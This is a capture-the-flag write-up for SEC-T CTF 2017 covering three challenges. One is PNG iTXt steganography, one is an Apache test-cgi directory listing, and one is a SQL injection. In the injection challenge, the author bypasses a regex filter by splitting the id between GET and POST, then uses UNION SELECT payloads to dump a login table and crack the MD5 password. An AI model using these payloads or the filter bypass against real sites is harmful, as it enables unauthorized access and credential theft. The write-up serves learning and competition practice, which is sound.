Version
By
Version
Comment
noraj
1.0
Creation
CTF
Name : SEC-T CTF 2017
Website : sect.ctf.rocks
Type : Online
Format : Jeopardy
CTF Time : link
50 - Joeys screenshot - Misc
Joey gave me this screenshot to prove he got into The Gibson. Can you help us hack The Gibson too?
Download: http://dl.ctf.rocks/joey.tar.gz
We have a PNG image.
Something doesn't seem legit:
$ strings chall.png| head -10
IHDR
(iTXtComment
1337
C0|V||V|3|\|7
(iTXtComment
1337
C0|V||V|3|\|7
'iTXtComment
1337
C0|V||V|3|\|7
We can use pngsplit to split the png into chunk:
chall.png.0000.sig
chall.png.0001.IHDR
chall.png.0002.iTXt
[...]
chall.png.0048.iTXt
chall.png.0049.IDAT
[...]
chall.png.0062.IDAT
chall.png.0063.IEND
Comments are in iTXt chunks (there are 47).
$ xxd chall.png.0002.iTXt
00000000: 0000 0028 6954 5874 436f 6d6d 656e 7400 ...(iTXtComment.
00000010: 0100 3133 3337 0043 307c 567c 7c56 7c33 ..1337.C0|V||V|3
00000020: 7c5c 7c37 0078 9c8b 3736 0300 01bc 00c9 |\|7.x..76......
00000030: 3e93 04e9 >...
$ xxd chall.png.0004.iTXt
00000000: 0000 0027 6954 5874 436f 6d6d 656e 7400 ...'iTXtComment.
00000010: 0100 3133 3337 0043 307c 567c 7c56 7c33 ..1337.C0|V||V|3
00000020: 7c5c 7c37 0078 9c73 3602 0000 ba00 7698 |\|7.x.s6.....v.
00000030: b65d 64 .]d
Obviously we can see that all iTXt comments contains 1337
and C0|V||V|3|\|7
meaning comment so we are on the good way looking at PNG chunk iTXt Comment.
Now let's extract the part that change between chunks:
I used png-itxt to read them instead of parsing them myself with a script because:
Compressing and decompressing of data, where appropriate, is handled transparently to the user so you only ever see the uncompressed values.
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png
{"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"_36"}
{"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"327"}
[...]
Some regular expression to filter:
~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -o 'value":".*"' | tr -d 'value":\n'
_36327C2134524N22H41{4_11_33_13021E1530342H43038535P26U25G3741539B19S0U29R28R32D14212_23D5D39_40G17K8Y10344!45520T333111846}46_16_7
That means nothing and doesn't looks like 1337, base64 or hex. Let's get the value chunk by chunk.
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -Eo ':".{2,3}"' | tr -d 'value:' | tr '\n' ', '
"_36","327","C2","134","524","N22","H41","{4","_11","_33","_13","021","E1","530","342","H43","038","535","P26","U25","G37","415","39","B19","S0","U29","R28","R32","D14","212","_23","D5","D39","_40","G17","K8","Y10","344","!45","520","T3","331","118","46","}46","_16","_7",
Horizontally we can't see anything but vertically...
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -Eo ':".{2,3}"' | tr -d 'value:'
"_36"
"327"
"C2"
"134"
"524"
"N22"
"H41"
"{4"
"_11"
"_33"
"_13"
"021"
"E1"
"530"
"342"
"H43"
"038"
"535"
"P26"
"U25"
"G37"
"415"
"39"
"B19"
"S0"
"U29"
"R28"
"R32"
"D14"
"212"
"_23"
"D5"
"D39"
"_40"
"G17"
"K8"
"Y10"
"344"
"!45"
"520"
"T3"
"331"
"118"
"46"
"}46"
"_16"
"_7"
It looks like we have this pattern [[:ascii:]]{1}[0-9]{2}
, that means a char follow by a number. What if we order the char by number?
Now let's fire ruby in order to sort them! order.rb
:
#!/usr/bin/env ruby
data = [ "_36" , "327" , "C2" , "134" , "524" , "N22" , "H41" , "{4" , "_11" , "_33" , "_13" , "021" , "E1" , "530" , "342" , "H43" , "038" , "535" , "P26" , "U25" , "G37" , "415" , "39" , "B19" , "S0" , "U29" , "R28" , "R32" , "D14" , "212" , "_23" , "D5" , "D39" , "_40" , "G17" , "K8" , "Y10" , "344" , "!45" , "520" , "T3" , "331" , "118" , "46" , "}46" , "_16" , "_7" ]
chars = {}
# split
data.each do | pattern |
char = pattern[ 0 ]
number = pattern[ 1 .. 2 ]
chars.store(number.to_i,char)
end
# convert as an array and sort
chars_ordered = chars.sort
# display only values
chars_ordered.each do | n , c |
print c
end
$ ruby order.rb
SECT{D4_K3Y_2_D4_G1B50N_5UP3RU53R_15_G0D_H3H3!}
100 - Sprinkler system - Web
Damn new york... some chick tricked you into standing in the rain on the very first day... it's payback time!
Service: http://sprinklers.alieni.se/
Classic check:
$ curl http://sprinklers.alieni.se/robots.txt
User-agent: *
Disallow: /cgi-bin/test-cgi
Well we have a CGI:
$ curl http://sprinklers.alieni.se/cgi-bin/test-cgi/
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO = /
PATH_TRANSLATED = /var/www/html/index.html
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING =
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
So this is Apache cgi-bin/test-cgi, there is a known vulnerability allowing to list all files in a folder when /cgi-bin/test-cgi?*
is requested. So ?*
will list the CGI directory, ?/*
the root directory, ?/var/www/html/*
the web server directory.
$ curl 'http://sprinklers.alieni.se/cgi-bin/test-cgi?/var/www/html/*'
CGI/1.0 test script report:
argc is 1. argv is /var/www/html/\*.
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = /var/www/html/cgi-bin /var/www/html/circuitboard.jpg /var/www/html/counter.gif /var/www/html/index.html /var/www/html/robots.txt /var/www/html/sleep.sh
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
$ curl 'http://sprinklers.alieni.se/cgi-bin/test-cgi?*'
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = enable_sprinkler_system test-cgi
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
So we can see there is another script in the CGI directory.
Now we have just to request http://sprinklers.alieni.se/cgi-bin/enable_sprinkler_system and get the flag SECT{-p00l_On_t3h_r00f_must_h@v3_A_l3ak!-}
.
More info here:
200 - Naughty ads - Web
Can you put agent Gill in the naughty ad section? His phone number is "555-31338"
Service: http://naughtyads.alieni.se/
$ curl http://naughtyads.alieni.se/
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<img class="ads" src="middle.png" width="800" height="600" usemap="#planetmap">
<map name="planetmap">
<area shape="rect" coords="287,93,523,261" href="?id=0c3f-42c8-a0ae" alt="BDSM hookup">
<area shape="rect" coords="542,93,774,261" href="?id=f44f-4cc9-a5e0" alt="Fat fetish">
<area shape="rect" coords="34,282,269,449" href="?id=3ad3-46c3-b975" alt="Dirty mistress">
<area shape="rect" coords="292,282,521,449" href="?id=5fbc-4729-8821" alt="Femdom one night stand">
<area shape="rect" coords="545,282,777,449" href="?id=c8bb-4695-93f7" alt="Waterboarding extasy">
<area shape="rect" coords="33,468,266,595" href="?id=7f9d-470f-8698" alt="Kinky nightmare">
<area shape="rect" coords="277,456,534,598" href="?id=849e-416e-acf7" alt="Food fetish">
<area shape="rect" coords="547,466,780,599" href="?id=e8c4-437b-9476" alt="Whip experience">
<area shape="rect" coords="595,23,619,57" href="/admin" alt="Admin">
</map>
</CENTER>
</BODY>
</HTML>
/admin
is protected with basic auth and ?id=
seems SQLi vulnerable but protected by a WAF (Attack detected!!! ).
I forgot to check robotos.txt
:
$ curl http://naughtyads.alieni.se/robots.txt
User-agent: *
Disallow: /admin
Disallow: /*.phps
.phps
are source files. here is http://naughtyads.alieni.se/index.phps :
< ? php
require_once 'lib.php' ;
header ( 'X-XSS-Protection: 0' );
$cols = array (
"e8c4-437b-9476" ,
"849e-416e-acf7" ,
"7f9d-470f-8698" ,
"c8bb-4695-93f7" ,
"5fbc-4729-8821" ,
"3ad3-46c3-b975" ,
"f44f-4cc9-a5e0" ,
"0c3f-42c8-a0ae"
);
if ( isset ( $_REQUEST [ 'id' ])){
if ( preg_match ( "/'(?:\w * )\W * ?[a-z]. * (R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST [ 'id' ])){
die ( "Attack detected!!!" );
}
$ad = get_ad ( $_GET [ 'id' ]);
? >
< HTML >
< HEAD >
< TITLE > NAUGHTY ADS ©1994 </ TITLE >
</ HEAD >
< BODY BGCOLOR = "WHITE" >
< CENTER >
< ? php echo $ad [ 'description' ] ? >< br />
< a href = "/" > Home </ a >
</ CENTER >
</ BODY >
</ HTML >
< ? php
die ;
}
? >
< HTML >
< HEAD >
< TITLE > NAUGHTY ADS ©1994 </ TITLE >
</ HEAD >
< BODY BGCOLOR = "WHITE" >
< CENTER >
< img class = "ads" src = "middle.png" width = "800" height = "600" usemap = "#planetmap" >
< map name = "planetmap" >
< area shape = "rect" coords = "287,93,523,261" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "BDSM hookup" >
< area shape = "rect" coords = "542,93,774,261" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Fat fetish" >
< area shape = "rect" coords = "34,282,269,449" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Dirty mistress" >
< area shape = "rect" coords = "292,282,521,449" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Femdom one night stand" >
< area shape = "rect" coords = "545,282,777,449" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Waterboarding extasy" >
< area shape = "rect" coords = "33,468,266,595" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Kinky nightmare" >
< area shape = "rect" coords = "277,456,534,598" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Food fetish" >
< area shape = "rect" coords = "547,466,780,599" href = "?id=<?php echo array_pop( $cols ); ?>" alt = "Whip experience" >
< area shape = "rect" coords = "595,23,619,57" href = "/admin" alt = "Admin" >
</ map >
</ CENTER >
</ BODY >
</ HTML >
Now we know the WAF is not one but a regex.
Read the php code carefully, especially this part:
if ( isset ( $_REQUEST [ 'id' ])){
if ( preg_match ( "/'(?:\w * )\W * ?[a-z]. * (R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST [ 'id' ])){
die ( "Attack detected!!!" );
}
$ad = get_ad ( $_GET [ 'id' ]);
As you can see the regex is done on $_REQUEST['id']
but executed variable is $_GET['id']
.
PHP: $_REQUEST
- Manual tells:
An associative array that by default contains the contents of $_GET
, $_POST
and $_COOKIE
.
I read on a forum that data are proccessed in this order GET, POST, COOKIE by default (configurable in php.ini
).
So the idea is to send a legitimate or a harmless payload in POST like id=vuln
and our SQL injection in GET. The server will apply the regex on $_REQUEST['id']
that will be $_POST['id']
(I understand that's because this is the last one to be processed), the server will see nothing dangerous and $ad = get_ad($_GET['id']);
will be executed.
With Hackbar:
With BurpSuite:
Let's see MySQl version and database name:
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT @@version), ' ', (SELECT database()))-- -
5.7.19 naughty
Let's get tables:
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 0,1-- -
ads
the first one is ads
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 1,1-- -
login
and the second one is login
. Now we are looking for columns:
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 0,1 -- -
id
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 1,1-- -
name
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 2,1-- -
password
So columns are id , name and password . Now we can display users:
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT id FROM naughty.login LIMIT 0,1), ' ', (SELECT name FROM naughty.login LIMIT 0,1), ' ', (SELECT password FROM naughty.login LIMIT 0,1))-- -
1 webmasterofdoom3755 5ebe2294ecd0e0f08eab7690d2a6ee69
Password seems hashed:
$ hashid 5ebe2294ecd0e0f08eab7690d2a6ee69
Analyzing '5ebe2294ecd0e0f08eab7690d2a6ee69'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
They must be using md5. Is used hashkiller.co.uk that told me the password is secret
.
Now we have access to the admin area http://naughtyads.alieni.se/admin/
$ curl 'http://webmasterofdoom3755:secret@naughtyads.alieni.se/admin/'
<HTML>
<HEAD>
<TITLE>ADMINISTRATIVE AREA</TITLE>
</HEAD>
<BODY>
<FORM ACTION="" METHOD="POST">
Phone number: <INPUT TYPE="TEXT" NAME="phone" PLACEHOLDER="#"/><BR />
Description: <TEXTAREA NAME="description"></TEXTAREA></BR />
Image: <INPUT TYPE="FILE" NAME="image" /><BR />
<INPUT TYPE="SUBMIT" NAME="image" value="upload" /><BR />
</FORM>
<!-- Stuck? Read challenge description again... -->
</BODY>
</HTML>
For those who don't know what to do with the form check the comment that tell us to check the description but personally I remembered to put Gill number into ads section.
Now grab the flag: SECT{~tr4nsv3stiT3s_w3lc0me_t00~}
.
Bonus: why -- -
is need in MySQL where --
seems enought: MySQL Injection: Comments On Comments